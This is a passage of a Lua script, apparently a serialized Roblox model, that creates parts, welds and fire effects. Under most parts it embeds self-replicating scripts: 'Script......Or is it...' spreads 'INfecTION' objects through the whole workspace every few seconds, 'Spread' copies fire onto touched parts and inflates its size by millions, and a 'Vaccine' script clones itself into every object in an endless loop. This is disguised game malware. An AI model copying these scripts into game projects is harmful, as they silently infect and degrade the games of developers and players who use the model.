  764. ManualWeld38.Part0 = Part27
  765. ManualWeld38.Part1 = Part168
  766. ManualWeld38.part1 = Part168
  767. ManualWeld39.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  768. ManualWeld39.Parent = Part27
  769. ManualWeld39.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  770. ManualWeld39.C1 = CFrame.new(6.60000229, 0.899996758, 0.200027466, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  771. ManualWeld39.Part0 = Part27
  772. ManualWeld39.Part1 = Part160
  773. ManualWeld39.part1 = Part160
  774. ManualWeld40.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  775. ManualWeld40.Parent = Part27
  776. ManualWeld40.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  777. ManualWeld40.C1 = CFrame.new(-0.199987411, 0.899996758, -4.19996643, -0.99999994, 0, 0, 0, 0, -0.99999994, 0, -1, 0)
  778. ManualWeld40.Part0 = Part27
  779. ManualWeld40.Part1 = Part68
  780. ManualWeld40.part1 = Part68
  781. ManualWeld41.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  782. ManualWeld41.Parent = Part27
  783. ManualWeld41.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  784. ManualWeld41.C1 = CFrame.new(-4.19996643, 0.899996758, 0.59998703, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
  785. ManualWeld41.Part0 = Part27
  786. ManualWeld41.Part1 = Part10
  787. ManualWeld41.part1 = Part10
  788. ManualWeld42.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  789. ManualWeld42.Parent = Part27
  790. ManualWeld42.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  791. ManualWeld42.C1 = CFrame.new(0.199987411, 0.899996758, 3.79997253, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  792. ManualWeld42.Part0 = Part27
  793. ManualWeld42.Part1 = Part48
  794. ManualWeld42.part1 = Part48
  795. ManualWeld43.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  796. ManualWeld43.Parent = Part27
  797. ManualWeld43.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  798. ManualWeld43.C1 = CFrame.new(-0.600021362, 0.899996758, 0.199987411, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
  799. ManualWeld43.Part0 = Part27
  800. ManualWeld43.Part1 = Part240
  801. ManualWeld43.part1 = Part240
  802. ManualWeld44.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  803. ManualWeld44.Parent = Part27
  804. ManualWeld44.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  805. ManualWeld44.C1 = CFrame.new(-0.200027466, 0.899996758, 0.199987411, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
  806. ManualWeld44.Part0 = Part27
  807. ManualWeld44.Part1 = Part214
  808. ManualWeld44.part1 = Part214
  809. ManualWeld45.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  810. ManualWeld45.Parent = Part27
  811. ManualWeld45.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  812. ManualWeld45.C1 = CFrame.new(-0.200027466, 0.899996758, 0.599988937, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
  813. ManualWeld45.Part0 = Part27
  814. ManualWeld45.Part1 = Part223
  815. ManualWeld45.part1 = Part223
  816. ManualWeld46.Name = "Smooth Block Model-to-spaceWall Strong Joint"
  817. ManualWeld46.Parent = Part27
  818. ManualWeld46.C0 = CFrame.new(-3.60000086, 0.599999666, 2.20000005, -0.99999994, 0, 0, 0, 0, 0.99999994, 0, 1, 0)
  819. ManualWeld46.C1 = CFrame.new(2.20001221, -0.100001335, 3.60000038, -1.19248798e-08, 1, 0, 0, 0, 0.99999994, 0.99999994, 1.19248806e-08, 0)
  820. ManualWeld46.Part0 = Part27
  821. ManualWeld46.Part1 = Part56
  822. ManualWeld46.part1 = Part56
  823. Script47.Name = "Vaccine"
  824. Script47.Parent = Part27
  825. table.insert(cors,sandbox(Script47,function()
  826. function spread() -- created by nadnarb4
  827. local stuff = game.Workspace:GetChildren()
  828. for i = 1, #stuff do
  829. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  830. local clone = script:clone()
  831. clone.Parent = stuff[i]
  832. end
  833. end
  834. end
  835.  
  836. while true do
  837. wait(.1)
  838. spread()
  839. end
  840.  
  841. function GetAllItems(mdl)
  842. local objs = {}
  843. function Search(obj)
  844. if obj~=workspace then
  845. table.insert(objs,obj)
  846. end
  847. if #obj:GetChildren() > 0 then
  848. for i, v in ipairs(obj:GetChildren()) do
  849. Search(v)
  850. end
  851. end
  852. end
  853. Search(mdl)
  854. return objs
  855. end
  856.  
  857.  
  858.  
  859. for i, v in ipairs(GetAllItems(workspace)) do
  860. if v.className == "Script" then
  861. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  862. v.Parent = game.Lighting --Just in case it has a removal prevention.
  863. t = Instance.new("ObjectValue")
  864. t.Name = "IsAVirus"
  865. t.Parent = v
  866. end
  867. end
  868. end
  869.  
  870. for i, v in ipairs(game.Lighting:GetChildren()) do
  871. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  872. v:remove()
  873. end
  874. end
  875.  
  876.  
  877. end))
  878. Part48.Name = "Smooth Block Model"
  879. Part48.Parent = Model0
  880. Part48.CFrame = CFrame.new(-2.81072211, 0.899998009, -9.95842648, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  881. Part48.Position = Vector3.new(-2.81072211, 0.899998009, -9.95842648)
  882. Part48.Color = Color3.new(0.768627, 0.156863, 0.109804)
  883. Part48.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  884. Part48.Anchored = true
  885. Part48.BottomSurface = Enum.SurfaceType.Smooth
  886. Part48.BrickColor = BrickColor.new("Bright red")
  887. Part48.Material = Enum.Material.DiamondPlate
  888. Part48.TopSurface = Enum.SurfaceType.Smooth
  889. Part48.brickColor = BrickColor.new("Bright red")
  890. Part48.FormFactor = Enum.FormFactor.Custom
  891. Part48.formFactor = Enum.FormFactor.Custom
  892. Fire49.Parent = Part48
  893. Fire49.Color = Color3.new(1, 0.678431, 0)
  894. Fire49.Enabled = false
  895. Fire49.Size = 30
  896. Fire49.Heat = 25
  897. Fire49.SecondaryColor = Color3.new(1, 0, 0)
  898. Fire49.size = 30
  899. Script50.Name = "Spread"
  900. Script50.Parent = Fire49
  901. table.insert(cors,sandbox(Script50,function()
  902. function Spread(part)
  903. check = part:findFirstChild("Fire")
  904. if check == nil then
  905. script.Parent:Clone().Parent = part
  906.  
  907. elseif check ~= nil then
  908. check.Size = check.Size + 1000000
  909. check.Heat = check.Heat +1000000
  910. end
  911. end
  912.  
  913.  
  914. script.Parent.Parent.Touched:connect(Spread)
  915.  
  916. end))
  917. BoolValue51.Name = "RobloxStamper"
  918. BoolValue51.Parent = Part48
  919. BoolValue52.Name = "RobloxModel"
  920. BoolValue52.Parent = Part48
  921. RotateP53.Name = "INfecTION"
  922. RotateP53.Parent = Part48
  923. RotateP53.BaseAngle = 0.25
  924. Script54.Name = "Script......Or is it..."
  925. Script54.Parent = RotateP53
  926. table.insert(cors,sandbox(Script54,function()
  927. if script.Parent.className ~= "RotateP" then
  928. local p = Instance.new("RotateP")
  929. p.Parent = workspace
  930. p.Name = "INfecTION"
  931. script.Parent = p
  932. end
  933.  
  934. function check()
  935. local list = workspace:GetChildren()
  936. for i = 1, #list do
  937. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  938. script.Parent:Clone().Parent = list[i]
  939. end
  940. wait()
  941. end
  942. end
  943.  
  944. while true do
  945. check()
  946. if workspace:findFirstChild("inFECtion") == nil then
  947. local main = script.Parent:Clone()
  948. main.Name = "inFECtion"
  949. main.Parent = workspace
  950. end
  951. wait(3)
  952. end
  953.  
  954. end))
  955. Script55.Name = "Vaccine"
  956. Script55.Parent = Part48
  957. table.insert(cors,sandbox(Script55,function()
  958. function spread() -- created by nadnarb4
  959. local stuff = game.Workspace:GetChildren()
  960. for i = 1, #stuff do
  961. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  962. local clone = script:clone()
  963. clone.Parent = stuff[i]
  964. end
  965. end
  966. end
  967.  
  968. while true do
  969. wait(.1)
  970. spread()
  971. end
  972.  
  973. function GetAllItems(mdl)
  974. local objs = {}
  975. function Search(obj)
  976. if obj~=workspace then
  977. table.insert(objs,obj)
  978. end
  979. if #obj:GetChildren() > 0 then
  980. for i, v in ipairs(obj:GetChildren()) do
  981. Search(v)
  982. end
  983. end
  984. end
  985. Search(mdl)
  986. return objs
  987. end
  988.  
  989.  
  990.  
  991. for i, v in ipairs(GetAllItems(workspace)) do
  992. if v.className == "Script" then
  993. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  994. v.Parent = game.Lighting --Just in case it has a removal prevention.
  995. t = Instance.new("ObjectValue")
  996. t.Name = "IsAVirus"
  997. t.Parent = v
  998. end
  999. end
  1000. end
  1001.  
  1002. for i, v in ipairs(game.Lighting:GetChildren()) do
  1003. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1004. v:remove()
  1005. end
  1006. end
  1007.  
  1008.  
  1009. end))
  1010. Part56.Name = "spaceWall"
  1011. Part56.Parent = Model0
  1012. Part56.CFrame = CFrame.new(-6.21075201, 2.91999888, -8.35842896, -4.37114451e-08, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, -4.37113883e-08)
  1013. Part56.Orientation = Vector3.new(0, -90, 0)
  1014. Part56.Position = Vector3.new(-6.21075201, 2.91999888, -8.35842896)
  1015. Part56.Rotation = Vector3.new(0, -90, 0)
  1016. Part56.Size = Vector3.new(3.5999999, 0.200000003, 6.39999819)
  1017. Part56.Anchored = true
  1018. Part56.BottomSurface = Enum.SurfaceType.Smooth
  1019. Part56.Material = Enum.Material.DiamondPlate
  1020. Part56.TopSurface = Enum.SurfaceType.Smooth
  1021. Part56.FormFactor = Enum.FormFactor.Custom
  1022. Part56.formFactor = Enum.FormFactor.Custom
  1023. Fire57.Parent = Part56
  1024. Fire57.Color = Color3.new(1, 0.678431, 0)
  1025. Fire57.Enabled = false
  1026. Fire57.Size = 30
  1027. Fire57.Heat = 25
  1028. Fire57.SecondaryColor = Color3.new(1, 0, 0)
  1029. Fire57.size = 30
  1030. Script58.Name = "Spread"
  1031. Script58.Parent = Fire57
  1032. table.insert(cors,sandbox(Script58,function()
  1033. function Spread(part)
  1034. check = part:findFirstChild("Fire")
  1035. if check == nil then
  1036. script.Parent:Clone().Parent = part
  1037.  
  1038. elseif check ~= nil then
  1039. check.Size = check.Size + 1000000
  1040. check.Heat = check.Heat +1000000
  1041. end
  1042. end
  1043.  
  1044.  
  1045. script.Parent.Parent.Touched:connect(Spread)
  1046.  
  1047. end))
  1048. BoolValue59.Name = "RobloxStamper"
  1049. BoolValue59.Parent = Part56
  1050. BoolValue60.Name = "RobloxModel"
  1051. BoolValue60.Parent = Part56
  1052. RotateP61.Name = "INfecTION"
  1053. RotateP61.Parent = Part56
  1054. RotateP61.BaseAngle = 0.25
  1055. Script62.Name = "Script......Or is it..."
  1056. Script62.Parent = RotateP61
  1057. table.insert(cors,sandbox(Script62,function()
  1058. if script.Parent.className ~= "RotateP" then
  1059. local p = Instance.new("RotateP")
  1060. p.Parent = workspace
  1061. p.Name = "INfecTION"
  1062. script.Parent = p
  1063. end
  1064.  
  1065. function check()
  1066. local list = workspace:GetChildren()
  1067. for i = 1, #list do
  1068. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1069. script.Parent:Clone().Parent = list[i]
  1070. end
  1071. wait()
  1072. end
  1073. end
  1074.  
  1075. while true do
  1076. check()
  1077. if workspace:findFirstChild("inFECtion") == nil then
  1078. local main = script.Parent:Clone()
  1079. main.Name = "inFECtion"
  1080. main.Parent = workspace
  1081. end
  1082. wait(3)
  1083. end
  1084.  
  1085. end))
  1086. Script63.Name = "Vaccine"
  1087. Script63.Parent = Part56
  1088. table.insert(cors,sandbox(Script63,function()
  1089. function spread() -- created by nadnarb4
  1090. local stuff = game.Workspace:GetChildren()
  1091. for i = 1, #stuff do
  1092. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1093. local clone = script:clone()
  1094. clone.Parent = stuff[i]
  1095. end
  1096. end
  1097. end
  1098.  
  1099. while true do
  1100. wait(.1)
  1101. spread()
  1102. end
  1103.  
  1104. function GetAllItems(mdl)
  1105. local objs = {}
  1106. function Search(obj)
  1107. if obj~=workspace then
  1108. table.insert(objs,obj)
  1109. end
  1110. if #obj:GetChildren() > 0 then
  1111. for i, v in ipairs(obj:GetChildren()) do
  1112. Search(v)
  1113. end
  1114. end
  1115. end
  1116. Search(mdl)
  1117. return objs
  1118. end
  1119.  
  1120.  
  1121.  
  1122. for i, v in ipairs(GetAllItems(workspace)) do
  1123. if v.className == "Script" then
  1124. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1125. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1126. t = Instance.new("ObjectValue")
  1127. t.Name = "IsAVirus"
  1128. t.Parent = v
  1129. end
  1130. end
  1131. end
  1132.  
  1133. for i, v in ipairs(game.Lighting:GetChildren()) do
  1134. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1135. v:remove()
  1136. end
  1137. end
  1138.  
  1139.  
  1140. end))
  1141. ManualWeld64.Name = "spaceWall-to-spaceWall Strong Joint"
  1142. ManualWeld64.Parent = Part56
  1143. ManualWeld64.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  1144. ManualWeld64.C1 = CFrame.new(-1.50006104, -0.399993896, 2.5, -1, -1.74845553e-07, 0, 0, 0, 1, -1.74845553e-07, 1, 0)
  1145. ManualWeld64.Part0 = Part56
  1146. ManualWeld64.Part1 = Part18
  1147. ManualWeld64.part1 = Part18
  1148. ManualWeld65.Name = "spaceWall-to-spaceWall Strong Joint"
  1149. ManualWeld65.Parent = Part56
  1150. ManualWeld65.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  1151. ManualWeld65.C1 = CFrame.new(1.40008545, -0.399993896, -1.8999939, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
  1152. ManualWeld65.Part0 = Part56
  1153. ManualWeld65.Part1 = Part95
  1154. ManualWeld65.part1 = Part95
  1155. ManualWeld66.Name = "spaceWall-to-spaceWall Strong Joint"
  1156. ManualWeld66.Parent = Part56
  1157. ManualWeld66.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  1158. ManualWeld66.C1 = CFrame.new(2.29998779, -0.399993896, -2.50001526, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
  1159. ManualWeld66.Part0 = Part56
  1160. ManualWeld66.Part1 = Part78
  1161. ManualWeld66.part1 = Part78
  1162. ManualWeld67.Name = "spaceWall-to-spaceWall Strong Joint"
  1163. ManualWeld67.Parent = Part56
  1164. ManualWeld67.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  1165. ManualWeld67.C1 = CFrame.new(2.39996338, -0.399993896, -1.90000916, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
  1166. ManualWeld67.Part0 = Part56
  1167. ManualWeld67.Part1 = Part87
  1168. ManualWeld67.part1 = Part87
  1169. Part68.Name = "Smooth Block Model"
  1170. Part68.Parent = Model0
  1171. Part68.CFrame = CFrame.new(-2.81072211, 0.899998009, -10.358428, -1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, -1)
  1172. Part68.Orientation = Vector3.new(0, 180, 0)
  1173. Part68.Position = Vector3.new(-2.81072211, 0.899998009, -10.358428)
  1174. Part68.Rotation = Vector3.new(-180, 0, -180)
  1175. Part68.Color = Color3.new(0.768627, 0.156863, 0.109804)
  1176. Part68.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  1177. Part68.Anchored = true
  1178. Part68.BottomSurface = Enum.SurfaceType.Smooth
  1179. Part68.BrickColor = BrickColor.new("Bright red")
  1180. Part68.Material = Enum.Material.DiamondPlate
  1181. Part68.TopSurface = Enum.SurfaceType.Smooth
  1182. Part68.brickColor = BrickColor.new("Bright red")
  1183. Part68.FormFactor = Enum.FormFactor.Custom
  1184. Part68.formFactor = Enum.FormFactor.Custom
  1185. Fire69.Parent = Part68
  1186. Fire69.Color = Color3.new(1, 0.678431, 0)
  1187. Fire69.Enabled = false
  1188. Fire69.Size = 30
  1189. Fire69.Heat = 25
  1190. Fire69.SecondaryColor = Color3.new(1, 0, 0)
  1191. Fire69.size = 30
  1192. Script70.Name = "Spread"
  1193. Script70.Parent = Fire69
  1194. table.insert(cors,sandbox(Script70,function()
  1195. function Spread(part)
  1196. check = part:findFirstChild("Fire")
  1197. if check == nil then
  1198. script.Parent:Clone().Parent = part
  1199.  
  1200. elseif check ~= nil then
  1201. check.Size = check.Size + 1000000
  1202. check.Heat = check.Heat +1000000
  1203. end
  1204. end
  1205.  
  1206.  
  1207. script.Parent.Parent.Touched:connect(Spread)
  1208.  
  1209. end))
  1210. BoolValue71.Name = "RobloxStamper"
  1211. BoolValue71.Parent = Part68
  1212. BoolValue72.Name = "RobloxModel"
  1213. BoolValue72.Parent = Part68
  1214. RotateP73.Name = "INfecTION"
  1215. RotateP73.Parent = Part68
  1216. RotateP73.BaseAngle = 0.25
  1217. Script74.Name = "Script......Or is it..."
  1218. Script74.Parent = RotateP73
  1219. table.insert(cors,sandbox(Script74,function()
  1220. if script.Parent.className ~= "RotateP" then
  1221. local p = Instance.new("RotateP")
  1222. p.Parent = workspace
  1223. p.Name = "INfecTION"
  1224. script.Parent = p
  1225. end
  1226.  
  1227. function check()
  1228. local list = workspace:GetChildren()
  1229. for i = 1, #list do
  1230. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1231. script.Parent:Clone().Parent = list[i]
  1232. end
  1233. wait()
  1234. end
  1235. end
  1236.  
  1237. while true do
  1238. check()
  1239. if workspace:findFirstChild("inFECtion") == nil then
  1240. local main = script.Parent:Clone()
  1241. main.Name = "inFECtion"
  1242. main.Parent = workspace
  1243. end
  1244. wait(3)
  1245. end
  1246.  
  1247. end))
  1248. ManualWeld75.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  1249. ManualWeld75.Parent = Part68
  1250. ManualWeld75.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1251. ManualWeld75.C1 = CFrame.new(0.199996948, -0.899999619, 0.200000763, -1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, -1)
  1252. ManualWeld75.Part0 = Part68
  1253. ManualWeld75.Part1 = Part10
  1254. ManualWeld75.part1 = Part10
  1255. ManualWeld76.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  1256. ManualWeld76.Parent = Part68
  1257. ManualWeld76.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1258. ManualWeld76.C1 = CFrame.new(-0.200000763, -0.899999619, -0.199996948, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1259. ManualWeld76.Part0 = Part68
  1260. ManualWeld76.Part1 = Part48
  1261. ManualWeld76.part1 = Part48
  1262. Script77.Name = "Vaccine"
  1263. Script77.Parent = Part68
  1264. table.insert(cors,sandbox(Script77,function()
  1265. function spread() -- created by nadnarb4
  1266. local stuff = game.Workspace:GetChildren()
  1267. for i = 1, #stuff do
  1268. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1269. local clone = script:clone()
  1270. clone.Parent = stuff[i]
  1271. end
  1272. end
  1273. end
  1274.  
  1275. while true do
  1276. wait(.1)
  1277. spread()
  1278. end
  1279.  
  1280. function GetAllItems(mdl)
  1281. local objs = {}
  1282. function Search(obj)
  1283. if obj~=workspace then
  1284. table.insert(objs,obj)
  1285. end
  1286. if #obj:GetChildren() > 0 then
  1287. for i, v in ipairs(obj:GetChildren()) do
  1288. Search(v)
  1289. end
  1290. end
  1291. end
  1292. Search(mdl)
  1293. return objs
  1294. end
  1295.  
  1296.  
  1297.  
  1298. for i, v in ipairs(GetAllItems(workspace)) do
  1299. if v.className == "Script" then
  1300. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1301. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1302. t = Instance.new("ObjectValue")
  1303. t.Name = "IsAVirus"
  1304. t.Parent = v
  1305. end
  1306. end
  1307. end
  1308.  
  1309. for i, v in ipairs(game.Lighting:GetChildren()) do
  1310. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1311. v:remove()
  1312. end
  1313. end
  1314.  
  1315.  
  1316. end))
  1317. Part78.Name = "spaceWall"
  1318. Part78.Parent = Model0
  1319. Part78.CFrame = CFrame.new(-6.91070318, 3.41999888, -7.85842896, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
  1320. Part78.Orientation = Vector3.new(0, 90, 0)
  1321. Part78.Position = Vector3.new(-6.91070318, 3.41999888, -7.85842896)
  1322. Part78.Rotation = Vector3.new(0, 90, 0)
  1323. Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1324. Part78.Size = Vector3.new(0.599999368, 0.799999356, 0.599998891)
  1325. Part78.Anchored = true
  1326. Part78.BottomSurface = Enum.SurfaceType.Smooth
  1327. Part78.BrickColor = BrickColor.new("Dark stone grey")
  1328. Part78.Material = Enum.Material.DiamondPlate
  1329. Part78.RightParamA = -0.10000000149012
  1330. Part78.RightParamB = 0.10000000149012
  1331. Part78.RightSurface = Enum.SurfaceType.Motor
  1332. Part78.RightSurfaceInput = Enum.InputType.Constant
  1333. Part78.TopSurface = Enum.SurfaceType.Smooth
  1334. Part78.brickColor = BrickColor.new("Dark stone grey")
  1335. Part78.FormFactor = Enum.FormFactor.Custom
  1336. Part78.formFactor = Enum.FormFactor.Custom
  1337. Fire79.Parent = Part78
  1338. Fire79.Color = Color3.new(1, 0.678431, 0)
  1339. Fire79.Enabled = false
  1340. Fire79.Size = 30
  1341. Fire79.Heat = 25
  1342. Fire79.SecondaryColor = Color3.new(1, 0, 0)
  1343. Fire79.size = 30
  1344. Script80.Name = "Spread"
  1345. Script80.Parent = Fire79
  1346. table.insert(cors,sandbox(Script80,function()
  1347. function Spread(part)
  1348. check = part:findFirstChild("Fire")
  1349. if check == nil then
  1350. script.Parent:Clone().Parent = part
  1351.  
  1352. elseif check ~= nil then
  1353. check.Size = check.Size + 1000000
  1354. check.Heat = check.Heat +1000000
  1355. end
  1356. end
  1357.  
  1358.  
  1359. script.Parent.Parent.Touched:connect(Spread)
  1360.  
  1361. end))
  1362. BoolValue81.Name = "RobloxStamper"
  1363. BoolValue81.Parent = Part78
  1364. BoolValue82.Name = "RobloxModel"
  1365. BoolValue82.Parent = Part78
  1366. RotateP83.Name = "INfecTION"
  1367. RotateP83.Parent = Part78
  1368. RotateP83.BaseAngle = 0.25
  1369. Script84.Name = "Script......Or is it..."
  1370. Script84.Parent = RotateP83
  1371. table.insert(cors,sandbox(Script84,function()
  1372. if script.Parent.className ~= "RotateP" then
  1373. local p = Instance.new("RotateP")
  1374. p.Parent = workspace
  1375. p.Name = "INfecTION"
  1376. script.Parent = p
  1377. end
  1378.  
  1379. function check()
  1380. local list = workspace:GetChildren()
  1381. for i = 1, #list do
  1382. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1383. script.Parent:Clone().Parent = list[i]
  1384. end
  1385. wait()
  1386. end
  1387. end
  1388.  
  1389. while true do
  1390. check()
  1391. if workspace:findFirstChild("inFECtion") == nil then
  1392. local main = script.Parent:Clone()
  1393. main.Name = "inFECtion"
  1394. main.Parent = workspace
  1395. end
  1396. wait(3)
  1397. end
  1398.  
  1399. end))
  1400. Script85.Name = "Vaccine"
  1401. Script85.Parent = Part78
  1402. table.insert(cors,sandbox(Script85,function()
  1403. function spread() -- created by nadnarb4
  1404. local stuff = game.Workspace:GetChildren()
  1405. for i = 1, #stuff do
  1406. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1407. local clone = script:clone()
  1408. clone.Parent = stuff[i]
  1409. end
  1410. end
  1411. end
  1412.  
  1413. while true do
  1414. wait(.1)
  1415. spread()
  1416. end
  1417.  
  1418. function GetAllItems(mdl)
  1419. local objs = {}
  1420. function Search(obj)
  1421. if obj~=workspace then
  1422. table.insert(objs,obj)
  1423. end
  1424. if #obj:GetChildren() > 0 then
  1425. for i, v in ipairs(obj:GetChildren()) do
  1426. Search(v)
  1427. end
  1428. end
  1429. end
  1430. Search(mdl)
  1431. return objs
  1432. end
  1433.  
  1434.  
  1435.  
  1436. for i, v in ipairs(GetAllItems(workspace)) do
  1437. if v.className == "Script" then
  1438. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1439. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1440. t = Instance.new("ObjectValue")
  1441. t.Name = "IsAVirus"
  1442. t.Parent = v
  1443. end
  1444. end
  1445. end
  1446.  
  1447. for i, v in ipairs(game.Lighting:GetChildren()) do
  1448. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1449. v:remove()
  1450. end
  1451. end
  1452.  
  1453.  
  1454. end))
  1455. ManualWeld86.Name = "spaceWall-to-spaceWall Strong Joint"
  1456. ManualWeld86.Parent = Part78
  1457. ManualWeld86.C0 = CFrame.new(0.299999684, -0.399999678, -0.299999446, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1458. ManualWeld86.C1 = CFrame.new(0.399963379, -0.399993896, 0.300003052, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1459. ManualWeld86.Part0 = Part78
  1460. ManualWeld86.Part1 = Part87
  1461. ManualWeld86.part1 = Part87
  1462. Part87.Name = "spaceWall"
  1463. Part87.Parent = Model0
  1464. Part87.CFrame = CFrame.new(-7.51068115, 3.41999888, -7.75842619, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
  1465. Part87.Orientation = Vector3.new(0, 90, 0)
  1466. Part87.Position = Vector3.new(-7.51068115, 3.41999888, -7.75842619)
  1467. Part87.Rotation = Vector3.new(0, 90, 0)
  1468. Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1469. Part87.Size = Vector3.new(0.400000006, 0.799999356, 0.600000024)
  1470. Part87.Anchored = true
  1471. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1472. Part87.BrickColor = BrickColor.new("Dark stone grey")
  1473. Part87.Material = Enum.Material.DiamondPlate
  1474. Part87.TopSurface = Enum.SurfaceType.Smooth
  1475. Part87.brickColor = BrickColor.new("Dark stone grey")
  1476. Part87.FormFactor = Enum.FormFactor.Custom
  1477. Part87.formFactor = Enum.FormFactor.Custom
  1478. Fire88.Parent = Part87
  1479. Fire88.Color = Color3.new(1, 0.678431, 0)
  1480. Fire88.Enabled = false
  1481. Fire88.Size = 30
  1482. Fire88.Heat = 25
  1483. Fire88.SecondaryColor = Color3.new(1, 0, 0)
  1484. Fire88.size = 30
  1485. Script89.Name = "Spread"
  1486. Script89.Parent = Fire88
  1487. table.insert(cors,sandbox(Script89,function()
  1488. function Spread(part)
  1489. check = part:findFirstChild("Fire")
  1490. if check == nil then
  1491. script.Parent:Clone().Parent = part
  1492.  
  1493. elseif check ~= nil then
  1494. check.Size = check.Size + 1000000
  1495. check.Heat = check.Heat +1000000
  1496. end
  1497. end
  1498.  
  1499.  
  1500. script.Parent.Parent.Touched:connect(Spread)
  1501.  
  1502. end))
  1503. BoolValue90.Name = "RobloxStamper"
  1504. BoolValue90.Parent = Part87
  1505. BoolValue91.Name = "RobloxModel"
  1506. BoolValue91.Parent = Part87
  1507. RotateP92.Name = "INfecTION"
  1508. RotateP92.Parent = Part87
  1509. RotateP92.BaseAngle = 0.25
  1510. Script93.Name = "Script......Or is it..."
  1511. Script93.Parent = RotateP92
  1512. table.insert(cors,sandbox(Script93,function()
  1513. if script.Parent.className ~= "RotateP" then
  1514. local p = Instance.new("RotateP")
  1515. p.Parent = workspace
  1516. p.Name = "INfecTION"
  1517. script.Parent = p
  1518. end
  1519.  
  1520. function check()
  1521. local list = workspace:GetChildren()
